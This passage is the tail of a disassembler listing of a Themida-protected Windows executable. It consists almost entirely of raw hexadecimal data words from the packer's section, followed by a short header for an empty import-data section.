		dd 14E9h, 0D3344B00h, 0C418D14Fh, 80364DE6h, 4725C1EBh
		dd 0AF2B2354h, 0E88EB2E2h, 7, 0E3207BCDh, 59909CE2h, 6E8h
		dd 89128E00h, 0E8397E61h, 7, 7C0F509Ch,	5FACD17Bh, 0F781665Fh
		dd 58525350h, 5E9h, 85FA1500h, 0BA66C967h, 9E96C84h, 0A4000000h
		dd 61B145AFh, 0B406796h, 12E9EA81h, 0AE94AE7h, 2B000000h
		dd 0C89915E9h, 0BA29160h, 0F7A3BBF0h, 6E8152Ah,	9F000000h
		dd 5005841Eh, 0C9D6813Eh, 59637D91h, 198B0Fh, 14E90000h
		dd 37000000h, 8DEAEF34h, 9A90490Ah, 0A885B517h,	0F85C6390h
		dd 0B87069BEh, 5F12939Ch, 7E9h,	60A79E00h, 0DFF07E86h
		dd 8F88A9B9h, 0C28AF803h, 0FC7B70Fh, 1583h, 10E900h, 7BC40000h
		dd 3A1CED59h, 0A0096590h, 9A9D24F3h, 0DE96C92h,	1E000000h
		dd 3A83DA0Fh, 494B9DDh,	8C0252D9h, 46F18166h, 0DF816679h
		dd 0E881DBADh, 108D5801h, 0E9F9DF8Bh, 8, 8C95032Ah, 6EF63DD7h
		dd 7E9h, 85B8DA00h, 0F07D7EBDh,	0D88166F5h, 0D98B665Bh
		dd 0D08166FCh, 0EF80EE9Eh, 14BB662Eh, 0D38166F0h, 10B6E690h
		dd 4810Fh, 0BA660000h, 8B666F7Fh, 0D1E881C2h, 0E86CBE05h
		dd 0Bh,	0AFC66B85h, 0E5B18197h,	0F86B4E41h, 0CE95Ah, 41F40000h
		dd 16C87F4Fh, 2F59DD9Ah, 8B665E33h, 0F2BF0FFBh,	0C1816660h
		dd 50618E22h, 6860Fh, 860F0000h, 0
		dd 11D98058h, 24E9BE66h, 0E9C0DA80h, 0Ch, 59182C75h, 8AB78E5Ch
		dd 0B06E30DAh, 12E860h,	5920000h, 0CFCB095Eh, 0A9A5A197h
		dd 0BAD331A6h, 0FDB7A77Bh, 61585B56h, 11E956h, 1FF60000h
		dd 0A60A48CCh, 0F0B2C51Ch, 1BB87043h, 5E451808h, 0DA8166F8h
		dd 860FDDC9h, 5, 98D18060h, 10840F61h, 0E9000000h, 0Bh
		dd 96FFE6D6h, 6BE7E0E5h, 667C4E18h, 662224BBh, 0D0E8F681h
		dd 0D830F60h, 0E9000000h, 8, 42C3FB48h,	0A22034BAh, 0EBEE8166h
		dd 60526142h, 5861DD8Ah, 16820Fh, 0B4600000h, 0DE972h
		dd 7F080000h, 994CC8Bh,	6C6D0051h, 61359918h, 8A60C28Bh
		dd 5860FCEh, 0BA000000h, 692F390Bh, 0EE961h, 1CA30000h
		dd 0EBD82410h, 0D3AF8279h, 33CC5898h, 70CBB966h, 47DC281h
		dd 0D98B4848h, 8D0FCA8Bh, 5, 0EBA8E7BEh, 0F28B661Dh, 8B39BF60h
		dd 0BE81352h, 12000000h, 89CB83E1h, 0ED6ABCE8h,	5EFC8DEFh
		dd 0A2E98161h, 0F329C43h, 0E9F8FBB7h, 13h, 2DFCC8E5h, 4A7354D7h
		dd 0CCE66517h, 0CCAFB5E1h, 0E97B8EF8h, 0Ah, 0BD4EBBACh
		dd 0DDB934B9h, 0BB609036h, 59B40F91h, 6870F61h,	81000000h
		dd 0B4499CE3h, 0AE93Dh,	91C60000h, 1E59AA28h, 8EC0B9Eh
		dd 0DAA7C281h, 0E6810B79h, 51BAF5ECh, 38A0Fh, 0B70F0000h
		dd 21DBBFF8h, 8166671Ah, 0E8725AE6h, 8,	34164AF0h, 2285473Ch
		dd 0AE9h, 0C025B000h, 0E4C098ABh, 59DD2DD2h, 0B8C88B66h
		dd 2D0A73B8h, 38D0Fh, 0CB800000h, 870F6054h, 5,	0B17F03BAh
		dd 5E96163h, 5A000000h,	0D35119Fh, 0F08166F8h, 8E8A646h
		dd 97000000h, 1FF0715h,	0F1F153Fh, 0E958DAB7h, 8, 0EA5B414h
		dd 0C43AF868h, 0EE9F08Ah, 0CB000000h, 0E38D8DBFh, 665C3139h
		dd 2A470B27h, 0F98B666Fh, 11E9h, 79365400h, 52DBE427h
		dd 9634E09Ch, 67C918BCh, 0E951EB9Dh, 0Eh, 81E81427h, 224FCE1Ch
		dd 8FB5419Ah, 815A2E38h, 0D4EDAD6h, 6E860h, 50E60000h
		dd 9626C269h, 3880Fh, 0B70F0000h, 0EE85ACAh, 0C2000000h
		dd 39F3A3E6h, 0DDF77A1h, 152CA0FCh, 9E94Eh, 0A1AD0000h
		dd 607C6623h, 5BD76405h, 74EFEF81h, 890F3B83h, 5, 0ACF28166h
		dd 9E904h, 31130000h, 37DFE116h, 81F79354h, 591B11E0h
		dd 60EE8A11h, 34B3DFB4h, 38A0F61h, 66000000h, 0AE9FE8Bh
		dd 0BF000000h, 1420F6D7h, 71D46B23h, 0D08B66F9h, 986CBB66h
		dd 12E8h, 605B3900h, 0F677F22Ah, 58D8AB80h, 403E7E0Ch
		dd 0E9ACCBB8h, 10h, 0FF62D5DEh,	0F2722432h, 0BAC803AFh
		dd 64E10DE2h, 0DE959h, 52530000h, 0B0ADCDA4h, 0C240E88Dh
		dd 0E931D557h, 0Dh, 6B20B14h, 75F0340Ah, 13FBF88Fh, 0DE9FEh
		dd 0C1420000h, 1E80E3DEh, 59D63327h, 66253CB2h,	662000BAh
		dd 0F78AC78Bh, 1A840Fh,	0E8600000h, 0Eh, 0A932A2CEh, 0FADD1535h
		dd 8138DBDh, 665AD160h,	61D832BFh, 8E8h, 0C9825B00h, 0CE18EBE9h
		dd 0C8B70F33h, 11E85Ah,	0EB890000h, 4D877578h, 6C7A8B4Dh
		dd 9B350F7Fh, 0F04CD05h, 535BDFB7h, 0F1E68166h,	0FC605AC7h
		dd 61F3B70Fh, 8B5EF851h, 5800FD8h, 66000000h, 21FEF281h
		dd 14E9FCh, 41B60000h, 0FEB4F739h, 0E80600E4h, 62301E73h
		dd 1A79134Ch, 60F5A887h, 5880Fh, 81660000h, 61A9DCE7h
		dd 0DE8h, 9AB83900h, 2AE11BAFh,	33D8DCF9h, 0E95B9391h
		dd 0Dh,	0EFAB463h, 0C5163D37h, 0E257A954h, 14830F08h, 0E9000000h
		dd 0Fh,	0BD86F1C9h, 6EC90121h, 520E6FAFh, 66BE1C91h, 5C97F681h
		dd 13E9h, 14CAC000h, 0BEB81DCDh, 0DFC75829h, 0C5744CDDh
		dd 68C42A9Ah, 10E9h, 0A4B94D00h, 410C9122h, 7D9F1637h
		dd 6BA23167h, 0B830F15h, 0E9000000h, 6,	0D074B97Dh, 7FB8BAA6h
		dd 0E8496E48h, 11h, 82F08BB3h, 341FAEC0h, 6BF660B7h, 0ECAB6419h
		dd 34CABAA8h, 0E85E74F7h, 7, 5D886DA4h,	6679D3FEh, 83BD781h
		dd 0E8B8B15Eh, 11h, 7988A98Fh, 9B899C31h, 0A6625279h, 68728E4h
		dd 0BE8B5h, 0A0670000h,	8A6CF761h, 237E8BE1h, 0C8BF0F95h
		dd 0B9665B5Eh, 0D68B0BA2h, 3890Fh, 0F5530000h, 0BBF58059h
		dd 2800Fh, 24B20000h, 0DE9h, 29544500h,	0BF2A7706h, 0D81A1012h
		dd 0B70F1811h, 0E68156D0h, 7222CF3Fh, 0C28B605Ah, 6143C780h
		dd 860F38B7h, 1, 0EE9F9h, 510B0000h, 9035E212h,	23591956h
		dd 2F1BEDDEh, 0BE60C18Ah, 2DE84261h, 26BF1CB9h,	81666142h
		dd 8A20A5C1h, 0FD18BFCh, 5060FAB7h, 0DE9h, 30031700h, 0CD4951h
		dd 0BBE30789h, 0F5B4977h, 18Dh,	8061FC00h, 8B0F7DD2h, 6
		dd 94B86652h, 0BF0F5B3Fh, 0FBB70FF8h, 90C9BE66h, 10E9h
		dd 0B6624200h, 56A2CADEh, 7BD5C1FBh, 86B4DF68h,	0E9FBB15Ah
		dd 11h,	303502C5h, 9E5B5FB3h, 193AB7BEh, 822CD7B5h, 8A0F57A4h
		dd 1, 0FC605EF5h, 0E95761FCh, 7, 6C6E34F8h, 5E2E9913h
		dd 66FEBF0Fh, 0BAB9F38Bh, 502FFD2Dh, 0DE9h, 0EBAA0200h
		dd 0E6CDFFE3h, 4E102624h, 0E9589244h, 0Bh, 0E97CE55Ah
		dd 228B9500h, 0BBFF747Eh, 547A837Bh, 0F28BD78Bh, 0DBF28166h
		dd 0B70F6019h, 8B6661FFh, 1BBF66D8h, 0C78B6697h, 2810FF8h
		dd 8B000000h, 6692B4F2h, 24C5EF81h, 8B66CB8Ah, 8FBE66FEh
		dd 19DA8162h, 0F04C0FBh, 0BE66DEBFh, 0BF0F8DD2h, 7B54B9DAh
		dd 20B94F91h, 0F49A8EFh, 68Fh, 8C0F00h,	60000000h, 0B4FA8B60h
		dd 0AE861E3h, 61000000h, 0BFD1EC22h, 44EB15F3h,	0F88B66D9h
		dd 8B53615Ah, 0F575FF9h, 0F5EDAB7h, 0D18AD7B7h,	0C980F98Ah
		dd 0FFC60D3h, 0BA61D7B7h, 3921153Bh, 14E9h, 52C9FD00h
		dd 99279492h, 86D1754Ah, 3D4CB49Dh, 349AC76Dh, 0F0816040h
		dd 273A6614h, 12E960h, 0C7F40000h, 0AC6320FBh, 0FDF5A719h
		dd 4F628587h, 0C06C3596h, 12E9h, 4E689400h, 0F4FF140Ch
		dd 5056C999h, 0AC312979h, 61EC37E7h, 68D0F61h, 81000000h
		dd 0D4D335E9h, 12E960h,	56190000h, 0C361B420h, 0CFFDEDA0h
		dd 0B73C0489h, 0DE9F6178h, 38D0Fh, 0C9800000h, 0FDE381F5h
		dd 0E87215B4h, 12h, 7D2298EDh, 19B1ED0Ch, 0F385CE32h, 98FD8CFBh
		dd 13E88B52h, 3000000h,	0E63B4369h, 6C15ACAh, 0DA2582DFh
		dd 2FEC8021h, 58577A2Ch, 0BE95E5Fh, 34000000h, 25E0F31Ch
		dd 0AFA8EA70h, 5253A539h, 0BE9h, 27CA0500h, 0D753BB3Fh
		dd 53219F2Ah, 0BE95E5Bh, 0D4000000h, 0CBD3F0A2h, 398B3AB9h
		dd 5B53E549h, 0FE8h, 0C9A2F00h,	7D21E180h, 0C40D2C9h, 0B604DB46h
		dd 815E6160h, 43BDBCCFh, 0D2DA806Ch, 0AE8h, 96987100h
		dd 990151B8h, 669D519Ch, 5E542CBBh, 46E1EB81h, 0DF813AD0h
		dd 351FFE3Ch, 0ADF8166h, 0B8EF8112h, 6639FDC9h,	8501C981h
		dd 605AFC52h, 5810Fh, 81660000h, 66A207E6h, 61DBEABEh
		dd 890F66B5h, 2, 4DBB67B7h, 0BB11822Fh,	4E8BB153h, 0F14FD981h
		dd 0B70F108Ah, 0EE9D2h,	232F0000h, 0C4325F54h, 0D215A830h
		dd 2D4E2BB4h, 0ECD8BA66h, 820Fh, 8B660000h, 158C0FCBh
		dd 0E9000000h, 10h, 0EF9BE7D0h,	3D4E3B2Bh, 0C5EBEE7h, 0AD244384h
		dd 4850Fh, 60600000h
		dd 0B1B86161h, 8B43E0CEh, 0FCF18BF0h, 0CC0446BBh, 39CE816Fh
		dd 5171EB0Dh, 18B0Fh, 5BFC0000h, 0C3DBEF9h, 0F3812CF3h
		dd 7CA9D7A8h, 5E8h, 0BB0D6C00h,	890F2E09h, 3, 5BC1BF0Fh
		dd 809BDD80h, 0B86681D6h, 0CA8BC502h, 55630DBFh, 9CB8602Eh
		dd 806EFD53h, 0F61B2C6h, 0E960FEBFh, 10h, 0FC4A36F7h, 25DF5F57h
		dd 614A0D15h, 0D32499F9h, 0F61DF8Bh, 0BF0FC9B7h, 0E960F5F0h
		dd 7, 162904E4h, 0E8E97309h, 0Ch, 8BF6C07Ah, 188A0DD5h
		dd 46FC4B57h, 8D0Fh, 615E0000h,	8E8h, 22C41400h, 607929F1h
		dd 0FE918h, 1D80000h, 16534C22h, 42F31683h, 0CA7D280Ah
		dd 57505A8Fh, 0FE9h, 367D3C00h,	7C1E87F0h, 5C865EF8h, 0DBA75CDh
		dd 81665B5Eh, 8AAC4FDAh, 4BD881F9h, 0F0C33C1h, 0B8Bh, 6E900h
		dd 0A4FC0000h, 0DED1FD47h, 0C6A8C6BAh, 573EB66Eh, 66D08B59h
		dd 0E9B744BEh, 0Dh, 5B9DD7ECh, 0F71A4944h, 3CF1BF5Fh, 830FFC12h
		dd 8, 28A0Fh, 61600000h, 0FE9h,	251B3300h, 0BC5AE759h
		dd 6B0741FCh, 863D27F8h, 0FFA8B66h, 0C89h, 7E900h, 9BB40000h
		dd 1AE6CBFAh, 78F0F5Eh,	56000000h, 0FBD01FBEh, 0E8605E58h
		dd 5, 53EC24D4h, 13E936h, 32D50000h, 0B86B47B2h, 0F90F93CCh
		dd 0DC3BC8Fh, 49F14298h, 81665EADh, 611BF4E9h, 0AF7684BFh
		dd 0CF8B6053h, 1A850Fh,	14E80000h, 0CD000000h, 0C6E07EF6h
		dd 0D5CC606h, 2188612Bh, 8D3B80E6h, 5FA99C51h, 6E961h
		dd 1BA0000h, 0E35DD7ACh, 8E9h, 0AFE8C200h, 5019EFF9h, 0CEB70F62h
		dd 0AEDE4B9h, 0E8F48A26h, 7, 0D0ADED90h, 0F8120319h, 9E85Ah
		dd 0C91D0000h, 1B0DCCB2h, 8BB7910Fh, 0F18A5EC2h, 6860Fh
		dd 0E9810000h, 4FFB5376h, 6E8h,	0C1A7F500h, 66972EC9h
		dd 6AB0C981h, 0DCB4515Fh, 8B66605Ah, 61FB8BDAh,	4890F53h
		dd 66000000h, 5F8B12B9h, 12E9h,	0C14C3800h, 0BE527D00h
		dd 115F4903h, 0FB36F675h, 0BB350AE1h, 54D1A377h, 0EE9h
		dd 0B80E7500h, 31DA9599h, 0F3B093BFh, 0E950CAB4h, 10h
		dd 9F1C80F1h, 4F5493E3h, 438F46C8h, 6A08CDC1h, 0F8CAF280h
		dd 0DEB70F51h, 0FF8F55Bh, 86h, 52F98B00h, 81665BFCh, 0B10B0CE9h
		dd 1870F07h, 0FC000000h, 0D414C981h, 8B666F1Ah,	46DFB9D8h
		dd 0BE86378h, 2000000h,	88101048h, 38D6A006h, 0FEBE365Fh
		dd 5966C24Dh, 0E95EFC57h, 6, 0A070BB4Eh, 8B0FF810h, 7
		dd 1113BA51h, 6659232Ah, 8E0FF88Bh, 0
		dd 8E9h, 0EF30200h, 8FA7C30Eh, 0E8C38B9Ah, 7, 0AF41D4BBh
		dd 0B19FDD58h, 0BE665997h, 0DCB83102h, 8A7FAD61h, 0C18B66C6h
		dd 8BD98B66h, 0C0BF0FD8h, 0EA803EB3h, 3860F5Bh,	80000000h
		dd 8C0FB5C3h, 2, 0CE9CE8Bh, 89000000h, 293B1CFCh, 5C475D53h
		dd 0B52DAF3Ch, 0D9B70F31h, 666021B3h, 0F60CF8Bh, 5E8CEB7h
		dd 1A000000h, 13922BC8h, 0F61615Ah, 1280h, 7E800h, 405F0000h
		dd 7753DBD3h, 0CF8166D1h, 0F5EC92Ah, 1B80h, 14E800h, 0AFA60000h
		dd 0CE558D77h, 48B8A7E6h, 502F6006h, 24D3FBB8h,	58F9EE7Dh
		dd 0DE9h, 4849D200h, 0A7348F61h, 0DBFD6126h, 890F0C55h
		dd 3, 0E9D6BF0Fh, 6, 7FFDDF8h, 0C28124C9h, 49D7752h, 5E9h
		dd 57CF8B00h, 0E48098B8h, 14E853h, 4D580000h, 0BEDD3168h
		dd 0B7CBF74h, 0B82C153Ah, 82691097h, 8B52AC3Fh,	665A5EC1h
		dd 0F532CE81h, 0AE8h, 42D95400h, 0C80F5C68h, 66981686h
		dd 0E190D081h, 0D1F38059h, 5E8h, 0ED194200h, 0F5E8CDCh
		dd 0F18BDFBFh, 38E0Fh, 0BF0F0000h, 0F3B70FCFh, 0DD8A3AB7h
		dd 10860Fh, 0E9600000h,	6, 3B613C0Eh, 0B70FE77Ch, 0D88A61C8h
		dd 0BE667EB7h, 5E83D40h, 46000000h, 27C7B067h, 66FC5BF9h
		dd 0B4A6E181h, 1A890FF5h, 0F000000h, 148Ch, 0FE900h, 7F3B0000h
		dd 7B6ADA04h, 0F015D6F7h, 0F25F14ACh, 8B66511Ah, 0E78059C3h
		dd 4870F8Dh, 66000000h,	606AC9B9h, 0DE9F5h, 50D60000h
		dd 0EF9E5AF9h, 293C96B4h, 61E4EE1Eh, 0CE8166F8h, 0F50D66Ch
		dd 286h, 5BF88B00h, 47DB8166h, 7E99Ch, 0B4BC0000h, 92BAD86Dh
		dd 0D8B70F4Ch, 99BF63B7h, 0BF61B84Bh, 78C31E86h, 860Fh
		dd 8B660000h, 0CF8166C2h, 0C1815ED9h, 11285CC3h, 9F18B853h
		dd 665A544Dh, 0BF66CB8Bh, 8166F7B9h, 0F0A38EEh,	684h, 51C08100h
		dd 667903F3h, 0F38BD18Bh, 0EDE28166h, 0C88B661Fh, 0D8B70FF8h
		dd 9BB860F5h, 0F27DCAAh, 0E961DAB7h, 0Bh, 0C4EE3E64h, 0FBA2216Ch
		dd 8075C4BDh, 0F78B2DD3h, 969AE881h, 8B0F004Ch,	15h, 9E8h
		dd 7068B600h, 0DDFF7357h, 890F13ACh, 0
		dd 6E95Bh, 0B9020000h, 0A59FE23h, 13E9h, 0F0B50800h, 26D6160Ch
		dd 1E58DAA2h, 0E5F720CFh, 0BE31ABB7h, 0AE9CBB3h, 84000000h
		dd 784AEADAh, 0F04E443Ah, 58E0F8Fh, 66000000h, 10FFC881h
		dd 0EE9h, 34A07400h, 8081A4D6h,	393C060Ch, 8098CB64h, 850F7AE4h
		dd 6, 0AA32C681h, 0AE9161Ch, 91000000h,	178DF97Dh, 1679177Eh
		dd 0EE859h, 122D0000h, 176B94A6h, 5610DEDCh, 93010B99h
		dd 60F78A5Ah, 0CE8h, 0B1220400h, 9DB7C7C0h, 1314507Bh
		dd 6659F861h, 61B4ABB8h, 6A47B966h, 8B6CEF81h, 10E83E99h
		dd 71000000h, 16D20F06h, 4B467C0Ch, 274C561Dh, 0B5D2B841h
		dd 0BF0F5F4Ch, 14E8FAh,	1A220000h, 2221EC92h, 0C0E21F2Ch
		dd 0F627EBCEh, 28E7C7F0h, 820F3010h, 3,	5FC78B66h, 7AC3A0BEh
		dd 0CE81665Ah, 11E90B09h, 0E7000000h, 6977DB67h, 3316C32Fh
		dd 6617E597h, 55EC2678h, 0F9F7BB66h, 0C3DA8166h, 7E87Ch
		dd 0DA970000h, 65E62CBBh, 0BE90Fh, 2B990000h, 0B626E23Dh
		dd 326E97Ah, 81665FB1h,	8A5B49E8h, 8BE66F8h, 12E9B1h, 32C90000h
		dd 0DAB2779Eh, 8E3B6BC8h, 942D3394h, 0C8D201E8h, 0B70FF98Bh
		dd 8F0FCEh, 0E9000000h,	0Ch, 2C8DB0Ah, 0EF39895Ah, 0CA99BD9h
		dd 6800Fh, 0D2810000h, 264B2D96h, 0CBF78166h, 80C4B3D0h
		dd 800FBAC8h, 9, 3890Fh, 0E7800000h, 0D830F5Dh,	0E9000000h
		dd 8, 5C26A84Bh, 18D7C1EDh, 66D1BF0Fh, 0F951F08Bh, 0D7B70F5Eh
		dd 81F3BF0Fh, 4FA25AE2h, 1DB86671h, 0E9816610h,	8D0F8872h
		dd 4, 0DE29BE66h, 10E853h, 7D810000h, 0D3E7569h, 50DF2465h
		dd 0DFD7AE48h, 5859882Dh, 6820Fh, 8B0F0000h, 0
		dd 0B7B86660h, 0D88B66E0h, 108B0F61h, 0E9000000h, 0Bh
		dd 7481103Fh, 8FB9E6F8h, 6687FB7Ch, 665054BBh, 0B70FF88Bh
		dd 0ABEE81F7h, 0B312BA56h, 0C28B66C7h, 8B97DC80h, 6800FCEh
		dd 81000000h, 0ADA92D1h, 0F0816673h, 8E82F6Eh, 0A0000000h
		dd 3F69A70Dh, 0E8DDA6CDh, 13h, 0E9BA49A4h, 0BD7F6A66h
		dd 81ABE7A0h, 3E75697Dh, 0F24650Dh, 81h, 0B15B5B00h, 8341BA50h
		dd 81661B86h, 8B257EE1h, 0FCC38BF7h, 0CE9h, 0F0B7C400h
		dd 1126971Eh, 0A9DF33DEh, 6E9B8h, 84310000h, 1F1774D6h
		dd 5B7BC7BFh, 7E92Fh, 7DE70000h, 0A050E7FFh, 0BE666030h
		dd 8166143Dh, 61C75BE0h, 8E8h, 0B9FA5100h, 4AE348EBh, 81666067h
		dd 66ECC3D7h, 5A61D88Bh, 0AE9E0B7h, 0D5000000h,	0E39300F7h
		dd 7081F4E7h, 10E9B6h, 1CA90000h, 0F4D7CD56h, 7FB5B131h
		dd 6739D1DEh, 0E960AD4Dh, 12h, 0EFACF9DAh, 414662B2h, 0F09B3AA9h
		dd 0EF4595F2h, 6661CDB5h, 0C68BC68Bh, 0F9D78166h, 0AE82Ch
		dd 64510000h, 0EA3FD063h, 3D60047Dh, 2BDBBA66h,	8FCB815Eh
		dd 0FC631EDEh, 0B70F5AB6h, 4850FFBh, 66000000h,	0E99089B8h
		dd 6, 2179184Ch, 830F0065h, 7, 746BE51h, 50595CD0h, 50D6815Eh
		dd 81312D26h, 0B1370EE3h, 0DFBF0F21h, 8C0Fh, 0FE80000h
		dd 55000000h, 0CAD91C5h, 0B7A0AD3Dh, 0B01C437Ch, 800FCC62h
		dd 2, 66586160h, 8B6BE1BBh, 0DE9F2h, 0A4450000h, 6F3C9C6Eh
		dd 4E75F9D5h, 66A65697h, 0D9A1C881h, 8820Fh, 0F500000h
		dd 89h,	0C28A5F00h, 0FD88BFCh, 108Dh, 5E800h, 0DA400000h
		dd 0B95BB2FEh, 147F24F7h, 8D0F605Eh, 0
		dd 61F18B66h, 2D3D281h,	79B91015h, 663FEB5Eh, 53D78EBEh
		dd 0D6E8A3BEh, 0B70F5A3Fh, 66CB8BC0h, 0E18AFB8Bh, 6E8h
		dd 6F25D900h, 0B9DB08A4h, 4006E9C2h, 0FD08B5Bh,	38Ch, 0C6B70F00h
		dd 8D0FC28Bh, 4, 0A072BB66h, 7E8h, 36CF0400h, 0C7D40112h
		dd 0AE9h, 0A0603100h, 94803960h, 5BF90A9Dh, 13880Fh, 0EE90000h
		dd 0CC000000h, 8AA3AF12h, 0E4AC205Eh, 3C8F790Eh, 0D3816610h
		dd 0CA81B8DBh, 5C66F0A8h, 6044BA66h, 0F5BF956h,	480h, 0A0B96600h
		dd 0B8A0F5Bh, 60000000h, 0F9FC180h, 83h, 66566100h, 5B0091B9h
		dd 6810Fh, 0C1810000h, 6230B1D3h, 0B6C8B70Fh, 3DA8152h
		dd 0F375410h, 587h, 47AEB800h, 8B602418h, 0CD8061CBh, 0B966F883h
		dd 0F681827Fh, 14A56052h, 56B4C180h, 0E85EFB8Bh, 9, 0FD125AC5h
		dd 0CC5EFECEh, 0AE979h,	3BAC0000h, 2B9FD419h, 0CA5251CBh
		dd 7E859h, 380C0000h, 3FCECC05h, 5AD88B18h, 4655BBBFh
		dd 4BDF8159h, 665209A6h, 6656B2BBh, 342CEB81h, 0A870Fh
		dd 870F0000h, 4, 0A9EABE66h, 0E992C380h, 12h, 0FD374E55h
		dd 22AC3641h, 0B1337849h, 2C6962E7h, 816650ACh,	668DEFE2h
		dd 0B70FC28Bh, 0CE9C8h,	49DE0000h, 3DDC8C2Ch, 554D1FFDh
		dd 98BF580Eh, 817FEC9Ah, 0B2274F7h, 0E8FE8B4Dh,	0Ch, 6D94D052h
		dd 58686EB8h, 0A2977ABCh, 6BF18166h, 66605990h,	2B56DA81h
		dd 4010C381h, 536157BCh, 11E8h,	0D0EB6100h, 5F00D357h
		dd 27A594Eh, 0DDD3C224h, 0F58A0018h, 0F605F5Ah,	682h, 8D0F00h
		dd 0B3000000h, 81526135h, 0FD0D0D6h, 0DB815F74h, 2296FD61h
		dd 850FFB8Bh, 3, 0F56E980h, 58Eh, 0E3816600h, 0B9669072h
		dd 8B66128Bh, 0EE9D7h, 0FC8A0000h, 0D79C3717h, 3D91358Dh
		dd 74048140h, 9E9h, 258D4700h, 0C19DD59Bh, 0F38B32E7h
		dd 5E8h, 75457B00h, 14E9BAC2h, 0B4000000h, 28F816A6h, 2FEAE15Bh
		dd 43E0213Ah, 0CC694260h, 5E9B79F2h, 28C0Fh, 39B00000h
		dd 0E9D2B70Fh, 11h, 7ABAF0F3h, 235A5CE5h, 6B243111h, 8130D387h
		dd 57F38B94h, 0EE960h, 17630000h, 71A287C4h, 0BFE44BFFh
		dd 0B7D35CECh, 11E8h, 76AB4600h, 4DD9A98Eh, 0A5A5F55Fh
		dd 2A595E95h, 6159CE81h, 0F7CE815Ah, 8055ED34h,	5F50DFC5h
		dd 0AE435BBAh, 6810F29h, 60000000h, 61605E52h, 66C18B61h
		dd 0D280DE8Bh, 0B70F60AAh, 6820FF3h, 0F000000h,	8Bh, 0FC606100h
		dd 13E9h, 0B9BFD700h, 9385AE46h, 83EFC316h, 42A12A79h
		dd 436F5AE0h, 5890F61h,	0BA000000h, 4E3335C5h, 0AE7FC781h
		dd 81F85B49h, 0C4F877C8h, 0AE947h, 650C0000h, 1E629A0Dh
		dd 0C869A611h, 5E5ED381h, 0E9F87C41h, 0Bh, 0B70147C8h
		dd 0FEB64227h, 8B4C9B76h, 51B2FCD0h, 48F0Fh, 0BA660000h
		dd 54B75F2Bh, 0E8D7E381h, 0BF666023h, 6E8C296h,	6F000000h
		dd 0DC922A80h, 0F5EFC4Bh, 88Ch,	2830F00h, 53000000h, 0FC72B75Bh
		dd 12E9h, 7FD4B900h, 0B393D0E7h, 98C8A130h, 0E8199737h
		dd 56011D2Ch, 505FCFB7h, 5EF28B66h, 0FF5F88Ah, 284h, 66C58A00h
		dd 66A9EFBBh, 8F0FC78Bh, 6, 383CB81h, 5E91EB7h,	59000000h
		dd 0D5DDBE84h, 6E9h, 4B164B00h,	0F0DFACDh, 0DE9DABFh, 67000000h
		dd 0F47A4372h, 1EFF9E2Ah, 55F17664h, 7314D9B8h,	81585127h
		dd 0FFFBF5D0h, 830FF91Fh, 1, 0CCEE80FCh, 4840Fh, 0B9660000h
		dd 8B66CA9Dh, 11E9F9h, 73AE0000h, 484D3884h, 0E6FA5C05h
		dd 7096802Bh, 0F9F1D0F5h, 10E9C78Bh, 64000000h,	8DA0A30Dh
		dd 0A450AB58h, 0A4FB0B4Bh, 0FC46F8D4h, 669DC280h, 0DDFECF81h
		dd 7E9h, 9708B000h, 0DE109660h,	0F68166F9h, 0BE668D88h
		dd 52F53221h, 0CD417AB9h, 13E85A39h, 0A1000000h, 0C0368D5Eh
		dd 5879F1D2h, 1FD58DF7h, 6C76A9D5h, 5E817FBh, 0E7000000h
		dd 3894BDCBh, 5A5B6160h, 47CE8166h, 0C981F585h,	74FE5303h
		dd 1DCE8160h, 0E93CEBF8h, 11h, 3B587D56h, 0EFFC4265h, 2D5A2E42h
		dd 8C739695h, 8A0F6155h, 5, 0C1C990BEh,	0F23E2D27h, 586h dup(0F23E2281h)
		dd 8F2D5C81h, 154h dup(8F2D5F1Ah), 0D1E1851Ah, 0FDh dup(0D1E185EFh)
		dd 1C5h	dup(25F13740h),	0CCF13740h, 0A60h dup(0CCCCCCCCh)
		dd 0CCh, 1D6h dup(0)
Themida_	ends

; Section 5. (virtual address 001BD000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 001BD000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 5BD000h
		align 2000h
_idata2		ends


		end start